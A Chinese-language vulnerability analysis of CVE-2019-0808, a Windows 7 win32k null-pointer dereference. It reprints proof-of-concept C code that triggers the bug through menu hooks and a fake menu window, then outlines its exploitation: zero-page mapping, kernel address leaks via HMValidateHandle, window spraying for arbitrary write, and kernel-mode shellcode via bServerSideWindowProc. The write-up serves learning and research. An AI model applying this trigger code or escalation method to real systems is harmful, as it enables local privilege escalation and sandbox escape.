CVE-2019-0808 从空指针解引用到权限提升

 

作者:Kerne7@知道创宇404实验室

前言

选择这个漏洞的原因是和之前那个cve-2019-5786是在野组合利用的,而且互联网上这个漏洞的资料也比较多,可以避免在踩坑的时候浪费过多的时间。

首先跟据 Google 的博客,我们可以了解到这个漏洞在野外被用作在windows7 32位系统上的浏览器沙盒逃逸,并且可以定位到漏洞函数 win32k!MNGetpItemFromIndex 。

在复现漏洞之前有几个问题浮现出来了,首先这个漏洞被用作沙盒逃逸,那么浏览器沙盒逃逸有哪几种方式?这个漏洞除了沙盒逃逸还可以用来做什么?其次空指针解引用的漏洞如何利用?这些可以通过查阅相关资料来自行探索。

 

从poc到寻找漏洞成因

在我分析这个漏洞的时候已经有人公布了完整的利用链,包括该漏洞的 poc 、 exp 和浏览器利用的组合拳。但是本着学习的目的,我们先测试一下这个 poc ,看下漏洞是如何触发的。搭建双机调试环境之后,运行 poc 导致系统 crash ,通过调试器我们可以看到


加载符号之后查看一下栈回溯。

可以看到大概是在 NtUserMNDragOver 之后的调用流程出现了问题,可能是符号问题我在查看了 Google 的博客之后没有搜索到 MNGetpItemFromIndex 这个函数,从栈回溯可以看到最近的这个函数是 MNGetpItem ,大概就是在这个函数里面。

大概看了下函数触发顺序之后,我们看下poc的代码是如何触发crash的。首先看下poc的代码流程。

首先获取了两个函数的地址 NtUserMNDragOver 和 NtAllocateVirtualMemory ,获取这两个函数的地址是因为参考栈回溯中是由 win32k!NtUserMNDragOver 函数中开始调用后续函数的,但是这个函数没有被导出,所以要通过其他函数的地址来导出。NtAllocateVirtualMemory函数是用来后续分配零页内存使用的。

pfnNtUserMNDragOver = (NTUserMNDragOver)((ULONG64)GetProcAddress(LoadLibraryA("USER32.dll"), "MenuItemFromPoint") + 0x3A); pfnNtAllocateVirtualMemory = (NTAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");

然后设置Hook EVENT_SYSTEM_MENUPOPUPSTART事件和WH_CALLWNDPROC消息。

SetWindowsHookEx(WH_CALLWNDPROC, (HOOKPROC)WindowHookProc, hInst, GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART,         EVENT_SYSTEM_MENUPOPUPSTART,hInst,DisplayEventProc,GetCurrentProcessId(),GetCurrentThreadId(),0);

之后设置了两个无模式拖放弹出菜单(之前创建的,但是不影响poc的逻辑顺序),即hMenuRoot和hMenuSub。hMenuRoot会被设置为主下拉菜单,并将hMenuSub设置为其子菜单。

HMENU hMenuRoot = CreatePopupMenu();
HMENU hMenuSub = CreatePopupMenu();
MENUINFO mi = { 0 };
mi.cbSize = sizeof(MENUINFO);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(hMenuRoot, &mi);
SetMenuInfo(hMenuSub, &mi);
AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root");
AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub");

创建了一个类名为#32768的窗口

hWndFakeMenu = CreateWindowA("#32768", "MN", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);

根据msdn我们可以查询到这个#32768为系统窗口,查的资料,因为CreateWindowA()并不知道如何去填充这些数据,所以直接调用多个属性被置为0或者NULL,包括创建的菜单窗口对象属性 tagPOPUPMENU->spmenu = NULL 。

然后设置wndclass的参数,再使用CreateWindowsA来创建窗口。参数可以确保只能从其他窗口、系统或应用程序来接收窗口消息。

WNDCLASSEXA wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXA);
wndClass.lpfnWndProc = DefWindowProc;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 0;
wndClass.hInstance = hInst;
wndClass.lpszMenuName = 0;
wndClass.lpszClassName = "WNDCLASSMAIN";
RegisterClassExA(&wndClass);
hWndMain = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);

接着,使用 TrackPopupMenuEx() 来弹出 hMenuRoot ,然后再通过 GetMessageW 来获取消息,然后在 WindowHookProc 函数中由于bOnDraging被初始化为FALSE,所以直接会执行 CallNextHookEx 。由于触发了EVENT_SYSTEM_MENUPOPUPSTART事件,然后传递给 DisplayEventProc ,由于 iMenuCreated 被初始化为0,所以进入0的分支。通过 SendMessageW() 将 WM_LMOUSEBUTTON 窗口消息发送给 hWndMain 来选择 hMenuRoot 菜单项(0x5, 0x5)。这样就会触发 EVENT_SYSTEM_MENUPOPUPSTART 事件,再次执行 DisplayEventProc ,由于刚刚 iMenuCreated 自增了,所以进入分支1,导致发送消息使鼠标挪到了坐标(0x6,0x6),然后 iMenuCreated 再次进行自增。然后在主函数的消息循环中iMenuCreated大于等于1进入分支,bOnDraging被置为TRUE,然后调用被我们导出的pfnNtUserMNDragOver函数。

TrackPopupMenuEx(hMenuRoot, 0, 0, 0, hWndMain, NULL);

MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
    TranslateMessage(&msg);
    DispatchMessageW(&msg);

    if (iMenuCreated >= 1) {
        bOnDraging = TRUE;
        pfnNtUserMNDragOver(&pt, buf);
        break;
    }
}
LRESULT CALLBACK WindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
    if (!bOnDraging) {
        return CallNextHookEx(0, code, wParam, lParam);
    }
    if ((cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT)){
        bIsDefWndProc = FALSE;
        printf("[*] HWND: %p \n", cwp->hwnd);
        SetWindowLongPtr(cwp->hwnd, GWLP_WNDPROC, (ULONG64)SubMenuProc);
    }
    return CallNextHookEx(0, code, wParam, lParam);
}
VOID CALLBACK DisplayEventProc(HWINEVENTHOOK hWinEventHook,DWORD event,HWND hwnd,LONG idObject,LONG idChild,DWORD idEventThread,DWORD dwmsEventTime)
{
    switch (iMenuCreated)
    {
    case 0:
        SendMessageW(hwnd, WM_LBUTTONDOWN, 0, 0x00050005);
        break;
    case 1:
        SendMessageW(hwnd, WM_MOUSEMOVE, 0, 0x00060006);
        break;
    }
    printf("[*] MSG\n");
    iMenuCreated++;
}

poc的流程已经分析完了,但是还是有部分的代码没有进入,比如 WindowHookProc 的 cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT 分支,该分支通过 SetWindowLongPtrA 来改变窗口的属性。把默认的过程函数替换为SubMenuProc,SubMenuProc函数在收到 WM_MN_FINDMENUWINDOWFROMPOINT 消息后把过程函数替换为默认的过程函数,然后返回我们自定义的FakeMenu的句柄。

LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
    if (msg == WM_MN_FINDMENUWINDOWFROMPOINT)
    {
        SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc);
        return (ULONG)hWndFakeMenu;
    }
    return DefWindowProc(hwnd, msg, wParam, lParam);
}

接下来还要我们从漏洞的代码本身来分析。我们来看下调用pfnNtUserMNDragOver之后发生了什么,以及什么时候能收到 WM_MN_FINDMENUWINDOWFROMPOINT 这个消息。通过我们之前看到 windbg 的栈回溯中,我们在IDA中逐渐回溯函数,在 xxxMNMouseMove 函数中发现了 xxxMNFindWindowFromPoint 就在 xxxMNUpdateDraggingInfo 之前,xxxMNUpdateDraggingInfo 函数也是我们栈回溯中的函数。

在函数 FindWindowFromPoint 函数中通过 xxxSendMessage 发送消息 235 也是 poc 中定义的 WM_MN_FINDMENUWINDOWFROMPOINT ,然后返回 v6 也就是获取的窗口句柄。然后在函数MNGetpItem中导致了空指针解引用得问题。

 

从空指针解引用到任意代码执行

触发了漏洞之后我们如何利用是个问题,首先的问题是把空指针解引用异常解决掉,在 windows7 版本上可以使用 ntdll!NtAllocateVirtualMemory 来分配零页内存。可以看到在申请零页内存之后不会产生异常导致crash了。

为了进入到 MNGetpItem 的 if 分支中,我们需要对零页内存中的数据进行设置。并且通过查询资料得知,MNGetpItem 中的参数为 tagPOPUPMENU 结构,uDraggingIndex又可以从tagMSG的wParam取到,所以这个函数的返回值是在用户态可控的。

进入 if 分支之后我们继续看程序流程,继续跟进 xxxMNSetGapState 函数。

进入 xxxMNSetGapState 可以看到再次出现了我们之前的漏洞函数 MNGetpItem ,其中 v5 是 MNGetpItem 的返回值,v6 = v5,后续中有 v6 或的操作,MNGetpItem 的返回值又是用户态可控,利用这一点我们可以实现任意地址或0x40000000u的操作。

如何把这个能力转化为任意地址读写呢?公开的exp中采用了窗口喷射的方法,类似于堆喷射创建大量的 tagWND 再通过 HMValidateHandle 函数来泄露内核地址来进行进一步的利用。HMValidateHandle 允许用户获得具有对象的任何对象的用户级副本。通过滥用此功能,将包含指向其在内核内存中位置的指针的对象(例如 tagWND(窗口对象))”复制“到用户模式内存中,攻击者只需获取它们的句柄即可泄漏各种对象的地址。这里又需要导出 HMValidateHandle 函数来进一步利用。再导出了 HMValidateHandle 之后可以泄露对象的地址了,然后我们利用窗口对象喷射的方法,寻找两个内存位置相邻的对象,通过修改窗口附加长度 tagWND+0x90->cbwndExtra 为0x40000000u来,再次修改第二个窗口对象的 strName.Buffer 指针,再通过设置 strName 的方式来达到任意地址写。

有了任意代码写,如果使 shellcode 在内核模式中执行呢?可以利用 tagWND. bServerSideWindowProc 字段,如果被置位那话窗口的过程函数就实在内核模式的上下文中执行,最后可以实现用户态提权。


 

后记

通过这个漏洞的分析和复现也学到了不少在内核模式下的操作。分析到这里已经算结束了,但是如何达到在野外实现的浏览器沙盒逃逸的功能,还有之前提出的问题都是还需要思考的。那我们通过这个漏洞的复现及利用过程,还要思考这个漏洞是如何被发现的,是否可以通过poc中的一些功能来 fuzz 到同样的空指针解引用,以及我们如何去寻找这类漏洞。

 

参考链接

https://security.googleblog.com/2019/03/disclosing-vulnerabilities-to-protect.html

https://github.com/ze0r/cve-2019-0808-poc/

(完)